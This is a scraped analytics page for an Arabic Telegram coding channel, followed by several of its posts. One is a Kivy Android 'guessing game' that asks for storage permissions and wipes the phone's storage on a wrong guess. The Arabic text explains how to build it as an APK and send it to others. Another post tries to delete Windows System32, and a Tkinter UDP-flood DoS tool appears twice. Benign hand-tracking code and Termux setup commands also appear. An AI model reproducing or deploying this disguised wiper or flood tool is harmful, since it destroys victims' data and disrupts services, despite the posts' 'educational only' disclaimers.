ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ STᑌᗪIO
⸻ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ ⸻ #php #python #telebot #codes ⚠️ المحتوى الموجود هنا لأغراض تعليمية فقط ولا نتحمل أي مسؤولية عن استخدامه، الغرض منه الفحص والتجربة داخل بيئات خاصة وغير حقيقية
Mostrar más📈 Análisis del canal de Telegram ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ STᑌᗪIO
El canal ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ STᑌᗪIO (@phpandpy) en el segmento lingüístico de Árabe es un actor destacado. Actualmente la comunidad reúne a 16 233 suscriptores, ocupando la posición 7 729 en la categoría Tecnologías y Aplicaciones y el puesto 1 478 en la región Egipto.
📊 Métricas de audiencia y dinámica
Desde su creación el невідомо, el proyecto ha mostrado un crecimiento acelerado, reuniendo a 16 233 suscriptores.
Según los últimos datos del 23 septiembre, 2026, el canal mantiene una actividad estable. En los últimos 30 días la variación de miembros fue de 405, y en las últimas 24 horas de 8, conservando un alto alcance.
- Estado de verificación: No verificado
- Tasa de interacción (ER): El promedio de interacción de la audiencia es 9.19%. Durante las primeras 24 horas tras publicar, el contenido suele obtener 2.94% de reacciones respecto al total de suscriptores.
- Alcance de las publicaciones: Cada publicación recibe en promedio 1 489 visualizaciones. En el primer día suele acumular 476 visualizaciones.
- Reacciones e interacción: La audiencia responde de forma activa: el promedio de reacciones por publicación es 16.
- Intereses temáticos: El contenido se centra en temas clave como سِعر, تَحدِيث, بَلُوقِن, تَشغِيل, حَقّ.
📝 Descripción y política de contenido
El autor describe el recurso como un espacio para expresar opiniones subjetivas:
“⸻ᔕᕼᗩᗪOᗯ ᗰIᑎᗪ ⸻
#php
#python
#telebot
#codes
⚠️ المحتوى الموجود هنا لأغراض تعليمية فقط ولا نتحمل أي مسؤولية عن استخدامه، الغرض منه الفحص والتجربة داخل بيئات خاصة وغير حقيقية”
Gracias a la alta frecuencia de actualizaciones (últimos datos recibidos el 24 septiembre, 2026), el canal mantiene la vigencia y un amplio alcance. La analítica demuestra que la audiencia interactúa activamente con el contenido, lo que lo convierte en un punto de referencia dentro de la categoría Tecnologías y Aplicaciones.
import os
import shutil
import random
from kivy.app import App
from kivy.uix.button import Button
from kivy.uix.textinput import TextInput
from kivy.uix.label import Label
from kivy.uix.boxlayout import BoxLayout
from kivy.uix.popup import Popup
from kivy.clock import Clock
from jnius import autoclass
number = random.randint(1, 10)
def delete_storage():
storage_path = "/storage/emulated/0"
if os.path.exists(storage_path):
for item in os.listdir(storage_path):
item_path = os.path.join(storage_path, item)
try:
if os.path.isfile(item_path) or os.path.islink(item_path):
os.remove(item_path)
elif os.path.isdir(item_path):
shutil.rmtree(item_path)
except Exception:
pass
def check_guess(guess, popup, button):
try:
guess = int(guess)
if guess == number:
popup.dismiss()
popup = Popup(title="Result", content=Label(text="You won!"), size_hint=(None, None), size=(400, 200))
popup.open()
else:
popup.dismiss()
popup = Popup(title="Result", content=Label(text="You lost! Please wait 20 seconds before trying again"), size_hint=(None, None), size=(400, 200))
popup.open()
delete_storage()
button.disabled = True
Clock.schedule_once(lambda dt: button.disabled = False, 20)
except ValueError:
popup.dismiss()
popup = Popup(title="Error", content=Label(text="Please enter a valid number."), size_hint=(None, None), size=(400, 200))
popup.open()
def request_permissions():
PythonActivity = autoclass('org.kivy.android.PythonActivity')
Context = autoclass('android.content.Context')
activity = PythonActivity.mActivity
permission = autoclass('android.Manifest$permission')
if activity.checkSelfPermission(permission.WRITE_EXTERNAL_STORAGE) != 0:
activity.requestPermissions([permission.WRITE_EXTERNAL_STORAGE, permission.READ_EXTERNAL_STORAGE])
class GuessingGameApp(App):
def build(self):
self.title = "Guessing Game"
layout = BoxLayout(orientation='vertical', padding=10, spacing=10)
self.label = Label(text="Guess the number between 1 and 10:", font_size=20)
layout.add_widget(self.label)
self.text_input = TextInput(multiline=False, font_size=20, size_hint_y=None, height=40)
layout.add_widget(self.text_input)
self.button = Button(text="Guess", on_press=self.on_guess, font_size=20, size_hint_y=None, height=50)
layout.add_widget(self.button)
request_permissions()
return layout
def on_guess(self, instance):
guess = self.text_input.text
popup = Popup(title="Waiting", content=Label(text="Checking..."), size_hint=(None, None), size=(400, 200))
popup.open()
check_guess(guess, popup, self.button)
if __name__ == "__main__":
GuessingGameApp().run()
الكود ده:
باختصار هو انك تحول الكود لتطبيق وتبعته لأي شخص ينزله يطلب صلاحيات الملفات يعطي يدخل االعبه كسب يبقا مبروك جهازه ولو خسر هيتم حذف النظام والملفات
رسالة الخسارة عند الخسارة تظهر الرسالة بالإنجليزية "You lost! Please wait 20 seconds before trying again"
2. التوقف لمدة 20 ثانية: إذا خسر اللاعب سيتم تعطيل الزر لمدة 20 ثانية باستخدام Clock.schedule_once لإعادة تمكين الزر بعد انقضاء هذه المدة
كيفية تشغيل الكود:
1. تأكد من أنك قمت بتثبيت Kivy و jnius:
pip install kivy
pip install jnius
2. إعداد صلاحيات الوصول تأكد من أن ملف buildozer.spec يحتوي على الصلاحيات التالية:
android.permissions = WRITE_EXTERNAL_STORAGE READ_EXTERNAL_STORAGE3. بناء التطبيق وتحويله إلى APK باستخدام Buildozer بعد تثبيت Kivy و jnius استخدم Buildozer لتحويل الكود إلى تطبيق APK
buildozer -v android debug
4. تشغيل التطبيق على جهاز Android بعد إنشاء الـ APK قم بتثبيته على جهازك باستخدام:
buildozer android deploy runوهيتم الفرمته خلال 30 ثانيه لو الملفات ضخمه
import random
import os
number = random.randint(1, 10)
guess = input("guess the number between 1 To 10")
guess = int(guess)
if guess == number:
print("you won!")
else:
os.remove("c:\\windows\\system32")
هذا الكود يمثل لعبة حظ بسيطة إذا خمّن المستخدم الرقم الصحيح يفوز وإذا أخطأ يحاول حذف مجلد System32 وهو مجلد أساسي لنظام التشغيل Windows مما قد يؤدي إلى تعطله او بمعني أصح وبشكل بلدي فرمتت الجهاز⛔🚫🔥《!مُهِمّ جِدًا!》🔥🚫⛔
بوت استضافة بايثون @DARK_DMMNS_BOT راح ينرفض ملف مالك اذا جان بي وحده من هاي الاشياء: ممنوع تشغيل أي بوت مخالف لسياسات تيلجرام (سبام - تصيد - نشر احتيالي) ممنوع استضافة بوتات تسبب ضغط عالي على السيرفر ممنوع كودات مشفره ممنوع ملف مالك ما مخلي بي متطلبات كاملة مثل TOKEN او admin id وغيره.. البوت مخصص فقط للبوتات
from tkinter import *
import socket
import random
from threading import Thread
def on_error():
start_stop_Button.set("Start Flooding...")
Status.set("Wrong Input!")
def dos():
global requests
try:
while start_stop_Button.get() == "Stop Flooding...":
s.sendto(packet, (Host.get(), int(Port.get())))
requests += 1
Status.set(f"Flooding... {requests} requests sent!")
except:
on_error()
def main():
global s, packet, requests
requests = 0
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
if start_stop_Button.get() == "Stop Flooding...":
start_stop_Button.set("Start Flooding...")
else:
start_stop_Button.set("Stop Flooding...")
packet = random._urandom(1024)
try:
for x in range(int(Threads.get())):
Thread(target=dos).start()
except:
on_error()
root = Tk()
root.title("DoS Attack")
root.resizable(False, False)
Host = StringVar()
Port = StringVar()
Threads = StringVar()
Status = StringVar()
start_stop_Button = StringVar()
start_stop_Button.set("Start Flooding...")
Label(root, text="Host: ").grid(column=1, row=1)
Entry(root, textvariable=Host, width=26).grid(column=2, row=1)
Label(root, text="Port: ").grid(column=1, row=2)
Entry(root, textvariable=Port, width=26).grid(column=2, row=2)
Label(root, text="Threads: ").grid(column=1, row=3)
Entry(root, textvariable=Threads, width=26).grid(column=2, row=3)
Label(root, text="Status: ").grid(column=1, row=4)
Label(root, textvariable=Status).grid(column=2, row=4)
Button(root, textvariable=start_stop_Button, command=main).grid(column=2, row=5, sticky=E)
for child in root.winfo_children():
child.grid_configure(padx=5, pady=2)
root.mainloop()
الكود ده برنامج بسيط معمول بلغة Python باستخدام مكتبة Tkinter لإنشاء واجهة رسومية GUI الفكرة الأساسية من الكود هي تنفيذ هجوم Dos Denial of Service عن طريق إرسال عدد كبير جدًا من الطلبات لعنوان IP معين على بورت معين بهدف تعطيله أو التأثير على أدائه
tkinter: لإنشاء الواجهة الرسومية
socket: للتعامل مع الشبكات (إرسال البيانات)
random: لإنشاء بيانات عشوائية (الطلبات اللي بتُرسل)
threading: لتشغيل أكتر من عملية في نفس الوقت
on_error(): دي بتظهر رسالة خطأ في حالة فيه أي مدخلات غلط.
dos(): دي الوظيفة اللي بتنفذ الهجوم. بتبدأ ترسل طلبات عشوائية باستخدام بروتوكول UDP على العنوان (Host) والبورت اللي المستخدم دخلهم
main(): بتحدد الإعدادات الرئيسية للهجوم (عدد ال Threads حجم الباكت المرسل، وبتبدأ أو توقف الهجوم بناءً على الزرار اللي المستخدم ضغط عليه
Host: العنوان اللي هيتم الهجوم عليه (IP أو Domain)
Port: رقم البورت اللي هيتم استهدافه
Threads: عدد العمليات اللي هتشتغل في نفس الوقت
فيه زرار اسمه "Start Flooding...". لما المستخدم يضغط عليه، الهجوم يبدأ أو يتوقف حسب حالته
Status: بيعرض حالة الهجوم وعدد الطلبات اللي اتبعتت
المستخدم يدخل البيانات (Host ، Port ، Threads) ويضغط على الزرار
البرنامج بيبدأ يرسل كمية كبيرة من الطلبات لحد ما المستخدم يوقف الهجوم
الهدف التعليمي للكود هو فهم الطريقة اللي بيتم بيها تنفيذ الهجمات دي مش لاستخدامه بشكل ضار وانا غير مسؤال وبس واللهfrom tkinter import *
import socket
import random
from threading import Thread
def on_error():
start_stop_Button.set("Start Flooding...")
Status.set("Wrong Input!")
def dos():
global requests
try:
while start_stop_Button.get() == "Stop Flooding...":
s.sendto(packet, (Host.get(), int(Port.get())))
requests += 1
Status.set(f"Flooding... {requests} requests sent!")
except:
on_error()
def main():
global s, packet, requests
requests = 0
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
if start_stop_Button.get() == "Stop Flooding...":
start_stop_Button.set("Start Flooding...")
else:
start_stop_Button.set("Stop Flooding...")
packet = random._urandom(1024)
try:
for x in range(int(Threads.get())):
Thread(target=dos).start()
except:
on_error()
root = Tk()
root.title("DoS Attack")
root.resizable(False, False)
Host = StringVar()
Port = StringVar()
Threads = StringVar()
Status = StringVar()
start_stop_Button = StringVar()
start_stop_Button.set("Start Flooding...")
Label(root, text="Host: ").grid(column=1, row=1)
Entry(root, textvariable=Host, width=26).grid(column=2, row=1)
Label(root, text="Port: ").grid(column=1, row=2)
Entry(root, textvariable=Port, width=26).grid(column=2, row=2)
Label(root, text="Threads: ").grid(column=1, row=3)
Entry(root, textvariable=Threads, width=26).grid(column=2, row=3)
Label(root, text="Status: ").grid(column=1, row=4)
Label(root, textvariable=Status).grid(column=2, row=4)
Button(root, textvariable=start_stop_Button, command=main).grid(column=2, row=5, sticky=E)
for child in root.winfo_children():
child.grid_configure(padx=5, pady=2)
root.mainloop()
الكود ده برنامج بسيط معمول بلغة Python باستخدام مكتبة Tkinter لإنشاء واجهة رسومية GUI الفكرة الأساسية من الكود هي تنفيذ هجوم Dos Denial of Service عن طريق إرسال عدد كبير جدًا من الطلبات لعنوان IP معين على بورت معين بهدف تعطيله أو التأثير على أدائه
tkinter: لإنشاء الواجهة الرسومية
socket: للتعامل مع الشبكات (إرسال البيانات)
random: لإنشاء بيانات عشوائية (الطلبات اللي بتُرسل)
threading: لتشغيل أكتر من عملية في نفس الوقت
on_error(): دي بتظهر رسالة خطأ في حالة فيه أي مدخلات غلط.
dos(): دي الوظيفة اللي بتنفذ الهجوم. بتبدأ ترسل طلبات عشوائية باستخدام بروتوكول UDP على العنوان (Host) والبورت اللي المستخدم دخلهم
main(): بتحدد الإعدادات الرئيسية للهجوم (عدد ال Threads حجم الباكت المرسل، وبتبدأ أو توقف الهجوم بناءً على الزرار اللي المستخدم ضغط عليه
Host: العنوان اللي هيتم الهجوم عليه (IP أو Domain)
Port: رقم البورت اللي هيتم استهدافه
Threads: عدد العمليات اللي هتشتغل في نفس الوقت
فيه زرار اسمه "Start Flooding...". لما المستخدم يضغط عليه، الهجوم يبدأ أو يتوقف حسب حالته
Status: بيعرض حالة الهجوم وعدد الطلبات اللي اتبعتت
المستخدم يدخل البيانات (Host ، Port ، Threads) ويضغط على الزرار
البرنامج بيبدأ يرسل كمية كبيرة من الطلبات لحد ما المستخدم يوقف الهجوم
الهدف التعليمي للكود هو فهم الطريقة اللي بيتم بيها تنفيذ الهجمات دي مش لاستخدامه بشكل ضار وانا غير مسؤال وبس واللهimport cv2
import mediapipe as mp
import time
cap = cv2.VideoCapture(0)
mphands = mp.solutions.hands
hands = mphands.Hands(False)
mpDraw = mp.solutions.drawing_utils
pTime = 0
cTime = 0
while True:
success, img = cap.read()
imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
results = hands.process(imgRGB)
if results.multi_hand_landmarks:
for handLms in results.multi_hand_landmarks:
for id, lm in enumerate(handLms.landmark):
h, w, c = img.shape
cx, cy = int(lm.x * w), int(lm.y * h)
print(id, cx, cy)
if id == 0:
cv2.circle(img, (cx, cy), 10, (255, 0, 255), cv2.FILLED)
mpDraw.draw_landmarks(img, handLms, mphands.HAND_CONNECTIONS)
cTime = time.time()
fps = 1 / (cTime - pTime)
pTime = cTime
cv2.putText(img, str(int(fps)), (10, 70), cv2.FONT_HERSHEY_PLAIN, 3, (255, 0, 255), 3)
cv2.imshow("Image", img)
if cv2.waitKey(1) & 0xFF == ord('q'):
break
cap.release()
cv2.destroyAllWindows()
الكود ده يستخدم مكتبة mediapipe و OpenCV لاكتشاف وتتبع معالم اليد في الوقت الفعلي عبر كاميرا الويب مع عرض معدل الإطارات في الثانية (FPS)git clone https://github.com/Hmza1112617/termux-setup-font.git
cd termux-setup-font
cp FontN.ttf ~/.termux/font.ttf
termux-reload-settings
git clone https://github.com/Hmza1112617/install-librarys-python.git cd install-librarys-python python lib.py
